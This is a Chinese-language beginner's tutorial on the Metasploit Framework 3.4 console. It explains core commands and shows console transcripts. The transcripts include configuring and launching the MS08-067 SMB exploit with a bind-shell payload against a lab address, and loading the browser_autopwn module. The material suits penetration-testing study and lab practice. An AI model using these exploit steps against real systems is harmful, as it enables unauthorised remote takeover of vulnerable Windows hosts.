Metasploit 使用简介
Metasploit Framework 是非常优秀的开源渗透测试框架,像我这样的菜鸟刚刚听说,于是花时间好好研究了一下,整理了一下学习笔记,贴出来和大家一起交流。第一次写文章又不足的地方大家多多指点。
Metasploit 渗透测试框架(MSF3.4)包含3功能模块:msfconsole、msfweb、msfupdate。msfupdate用于软件更新,建议使用前先进行更新,可以更新最新的漏洞库和利用代码。msfconsole 是整个框架中最受欢迎的模块,个人感觉也是功能强大的模块,所有的功能都可以该模块下运行。msfweb 是Metasploit framework的web组件支持多用户,是Metasploit图形化接口。
msfconsole
msfconsole是MSF中最主要最常用的功能组件,使用集成化的使用方法,可以使用MSF中的所有命令和模块,支持很多其它接口方式不支持的功能,启动msfconsole如下图所示:
| | _) | __ `__ \ _ \ __| _` | __| __ \ | _ \ | __| | | | __/ | ( |\__ \ | | | ( | | | _| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__| =[ metasploit v3.4.2-dev [core:3.4 api:1.0] msf> |
msfconsole主要有以下特点:
支持命令完成功能(tab键)
支持外部命令执行(可以执行系统命令)
如下为使用ping命令:
| | _) | __ `__ \ _ \ __| _` | __| __ \ | _ \ | __| | | | __/ | ( |\__ \ | | | ( | | | _| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__| =[ metasploit v3.4.2-dev [core:3.4 api:1.0] msf>ping www.baidu.com ping www.baidu.com [*] exec: ping www.baidu.com Pinging www.a.shifen.com [119.75.217.56] with 32 bytes of data: [119.75.217.56] with 32 bytes of data: Reply from 119.75.217.56: bytes=32 time=73ms TTL=49 …… Ping statistics for 119.75.217.56: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 73ms, Maximum = 94ms, Average = 79ms msf > |
使用流程
help命令
和其它基于命令行的程序一样,使用?或者help可以显示MSF所支持的命令,如下为MSF内置的全部命令。
msf > help Core Commands ============= Command Description ------- ----------- ? 显示帮助菜单 back 从当前环境返回到主路径 banner 显示软件旗标信息 cd 改变当前工作路径 color 切换颜色 connect 连接主机,类似于telnet和nc exit 退出 help 显示帮助菜单,即该页面 info 显示模块的详细信息 irb 进入irb脚本模式 jobs 显示和管理作业 kill 结束一个作业 load 加载framework插件 loadpath 从指定路径加载模块 quit 退出 resource 运行文件中的命令 route Route traffic through a session save 保持数据 search 搜索模块及名称 sessions 显示及转存会话列表 set 设置变量值 setg 设置全局变量值 show 显示给定类型的模块或全部模块 sleep 休眠 unload 卸载 framework 插件 unset 取消变量设置 unsetg 取消全局变量设置 use 根据名字选择一个模块 version 显示版本 Database Backend Commands ========================= Command Description ------- ----------- db_services List all services in the database db_status Show the current database status db_sync Synchronize the database db_vulns List all vulnerabilities in the database db_workspace Switch between database workspaces |
show命令
在msfconsole中键入show,系统会显示Metasploit的所有模块,若想显示某一类型的模块可以加入模块名称,最常用的主要有一下三个:show payloads、show exploits、show auxiliary。
msf>show auxiliary Auxiliary ========= Name Rank Description ---- ---- ----------- admin/backupexec/dump normal Veritas Backup Exec Windows Remote File Access admin/backupexec/registry normal Veritas Backup Exec Server Registry Access |
…… |
show auxiliary显示Metasploit中的可用辅助模块列表,这些辅助模块包括scanner、dos、fuzzer等
show exploits 显示Metasploit中包含的所有可以利用的攻击类型列表。
show payloads 显示Metasploit中可以在不同平台中可以在远程主机执行的代码,即shellcode。注:在使用具体的exploit时,只显示该平台支持的payload,例如:在使用ms08-067时,只显示windows平台可以使用的payload。
show options 显示可利用模块exploit的设置、条件、描述等。在具体的模块中使用,后面use命令中会有实例。
show targets 显示可利用模块exploit支持的目标类型(操作系统、软件版本等)。在具体的模块中使用,后面use命令中会有实例。
show advanced 显示可利用模块exploit高级信息,自定义利用程序时使用。在具体的模块中使用,后面use命令中会有实例。
show encoders 显示可利用模块exploit的编码方式,在具体的模块中使用,后面set命令中会有实例。
search命令
search 命令是最常用的命令之一,用于查找各种exploit、payload、auxiliary等,命令支持基于正则表达式的模糊查询。如下为查找ms08-067实例:
msf > search ms08-067 [*] Searching loaded modules for pattern 'ms08-067'... Exploits ======== Name Rank Description ---- ---- -----------nption |
info命令
info用于显示特殊模块的详细信息,显示内容包括该模块的选项、目标及其它信息。以下是使用info命令显示ms08-067实例:
msf > info windows/smb/ms08_067_netapi Name: Microsoft Server Service Relative Path Stack Corruption Version: 9839 Platform: Windows Privileged: Yes License: Metasploit Framework License (BSD) Rank: Great Provided by: hdm <hdm@metasploit.com> Brett Moore <brett.moore@insomniasec.com> Available targets: Id Name -- ---- 0 Automatic Targeting 1 Windows 2000 Universal ……… 60 Windows XP SP3 Turkish (NX) Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload information: Space: 400 Avoid: 8 characters Description: This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is …… on 2003, along with other platforms, is still in development.References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4250 |
use命令
use命令用于使用特殊的模块,如利用程序、shellcode或辅助模块等。以ms08-067为例,模块名称必须包含完整的路径,可以通过search命令搜索,以下还演示了show options、show targets命令的使用。
msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > show targets Exploit targets: Id Name -- ---- 0 Automatic Targeting ……… 60 Windows XP SP3 Turkish (NX) |
conect 命令
connect命令可以连接到远程主机,连接方式和nc、telnet相同,可以指定端口,如下为connect命令演示:
msf > connect 127.0.0.1 4000 [*] Connected to 127.0.0.1:4000 Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved. E:\技术工具\cmd>msf > |
set命令
set命令用于当前使用模块的选项和设置参数。
set payload xxx/xxx z设置溢出代码
set encoder xxx/xxx 设置利用程序编码方式
set target xxx 设置目标类型
set xxx xxx 设置参数
下面以ms08-067为例:
msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > set RHOST 192.168.10.10 RHOST => 192.168.10.10 msf exploit(ms08_067_netapi) > set payload windows/shell/bind_tcp payload => windows/shell/bind_tcp msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.10.10 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/shell/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process LPORT 4444 yes The listen port RHOST 192.168.10.10 no The target address Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) >exploit |
check命令
部分exploit支持check命令,该命令用于检测目标系统是否存在漏洞,而不是进行溢出操作。如下:说明目标系统不存在漏洞
msf exploit(ms04_045_wins) > check [-] Check failed: The connection was refused by the remote host (192.168.1.114:42) |
设置全局变量
Metasploit 支持设置全局变量并可以进行存储,下次登录时直接使用。设置全局变量使用setg命令,unsetg撤销全局变量,save用于保存全局变量。如下所示:
msf > setg LHOST 192.168.1.101 LHOST => 192.168.1.101 msf > setg RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf > setg RHOST 192.168.1.136 RHOST => 192.168.1.136 msf > save Saved configuration to: /root/.msf3/config |
exploit/run命令
设置好各个参数后,可以使用exploit命令执行溢出操作,当使用了自定义auxiliary参数时,需要用run命令执行操作。
msf auxiliary(ms09_001_write) > run |
resource命令
resource命令可以加载资源文件,并按顺序执行文件中的命令。
msf > resource karma.rc resource> load db_sqlite3 [-] [-] The functionality previously provided by this plugin has been [-] integrated into the core command set. Use the new 'db_driver' [-] command to use a database driver other than sqlite3 (which [-] is now the default). All of the old commands are the same. [-] [-] Failed to load plugin from /pentest/exploits/framework3/plugins/db_sqlite3: Deprecated plugin resource> db_create /root/karma.db [*] The specified database already exists, connecting [*] Successfully connected to the database [*] File: /root/karma.db resource> use auxiliary/server/browser_autopwn resource> setg AUTOPWN_HOST 10.0.0.1 AUTOPWN_HOST => 10.0.0.1 |
irb命令
运行irb命令,进入irb脚本模式,可以执行命令创建脚本。
msf > irb [*] Starting IRB shell... >> puts "BlackAngle!" BlackAngle! |
Metasploit 使用简介的更多相关文章
- 玩转Metasploit系列(第一集)
"如果我有七个小时的时间来砍树,那么我一定会花6个小时来磨我的斧头." –Abraham Lincoln ??这句话一直引导着我做事的思路,而且从未改变过.这篇文章翻译自Offen ...
- chapter1 渗透测试与metasploit
网络对抗技术课程学习 chapter1 渗透测试与metasploit 一.读书笔记 二.渗透测试 通过模拟恶意攻击者的技术与方法进行攻击,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响 ...
- 原创教程:《metasploit新手指南》介绍及下载
原创教程:<metasploit新手指南>介绍及下载 1.1 作者简介 这份教程并不是“玄魂工作室”原创,但是我还是要力推给大家.相比那些一连几年都在问“我怎么才能入门”的人而言,我们更欣 ...
- metasploit 教程之基本参数和扫描
前言 首先我也不知道我目前的水平适不适合学习msf. 在了解一些msf之后,反正就是挺想学的.就写博记录一下.如有错误的地方,欢迎各位大佬指正. 感激不尽.! 我理解的msf msf全程metaspl ...
- 使用metasploit中Evasion模块
简介 几天前我说了kali这次更新我最关心的是metasploit升级到了5.0,5.0中有一个新的模块叫Evasion模块,这个模块可以轻松的创建反杀毒软件的木马,今天我们就来试一试 操作 首先打开 ...
- 黑客专用操作系统——Kali Linux简介
1如果您之前使用过或者了解BackTrack系列Linux的话,那么我只需要简单的说,Kali是BackTrack的升级换代产品,从Kali开始,BackTrack将成为历史. 如果您没接触过Back ...
- Kali Linux渗透测试实战 1.1 Kali Linux简介
1.1 Kali Linux简介 如果您之前使用过或者了解BackTrack系列Linux的话,那么我只需要简单的说,Kali是BackTrack的升级换代产品,从Kali开始,BackTrack将成 ...
- 使用Metasploit绕过UAC的多种方法
一.用户帐户控制(UAC)简介 在本文中,我们将简要介绍一下用户帐户控制,即UAC.我们还将研究它如何潜在地保护免受恶意软件的攻击并忽略UAC提示可能给系统带来的一些问题. 1.什么是用户帐户控制 ...
- Metasploit学习指南—基础篇
Metasploit是一款强大的渗透测试平台,其中包括了很多渗透测试利器,本文简单介绍一下Metasploit的配置和基础的使用方法,主要包括以下几个方面: Metasploit的核心 基础的配置 M ...
随机推荐
- 记录:正确率、召回率、F值
因为不理解召回率,所以去查看了一些资料.特此记录一下自己的理解,以便以后查看. 说明 正确率=查出来正确的样本数/全部查出来的样本数 (也可以理解为查准率) 召回率=查出来正确的样本数/数据集里全部正 ...
- HMM,MEMM,CRF模型的比较
本文参考自:http://blog.csdn.net/happyzhouxiaopei/article/details/7960876 这三个模型都可以用来做序列标注模型.但是其各自有自身的特点,HM ...
- python全栈开发从入门到放弃之socket并发编程多线程
一 threading模块介绍 multiprocess模块的完全模仿了threading模块的接口,二者在使用层面,有很大的相似性,因而不再详细介绍 二 开启线程的两种方式 from threadi ...
- vs2010 net4.0 c# 操作 sqlite
1.百科介绍 SQLite,是一款轻型的数据库,是遵守ACID的关系型数据库管理系统,它包含在一个相对小的C库中.它是D.RichardHipp建立的公有领域项目.它的设计目标是嵌入式的,而且目前已经 ...
- PKU 2559 Largest Rectangle in a Histogram(单调栈)
题目大意:原题链接 一排紧密相连的矩形,求能构成的最大矩形面积. 为了防止栈为空,所以提前加入元素(-1,0) #include<cstdio> #include<stack> ...
- 『NiFi 学习之路』自定义 —— 组件的自定义及使用
一.概述 许多业务仅仅使用官方提供的组件不能够满足性能上的需求,往往要通过高度可定制的组件来完成特定的业务需求. 而 NiFi 提供了自定义组件的这种方式. 二.自定义 Processor 占坑待续 ...
- 【Python】错误、调试和测试
链接到错误处理 链接到调试 链接到单元测试 链接到文档测试 [错误处理] 小结:遇到错误怎么办? 1.不理它. 2.捕获它,再抛出. 3.捕获并处理错误. raise 不懂如何处理错误就直接抛出(ra ...
- Django学习笔记之Models与ORM操作
一.ORM增加 from django.db import models class Publisher(models.Model): name = models.CharField(max_leng ...
- Sublime text3:安装插件SublimeREPL解决不支持input
Sublime text3:安装插件SublimeREPL解决不支持input 安装SublimeREPL 1,调用ctrl+shift+p 输入install回车: 2,输出:sublimerepl ...
- 防抖debounce和节流throttle
大纲 一.出现缘由 二.什么是防抖debounce和节流throttle 三.应用场景 3.1防抖 3.2节流 一.出现缘由 前端开发中,有一部分用户行为会频繁触发事件,而对于DOM操作,资源加载等耗 ...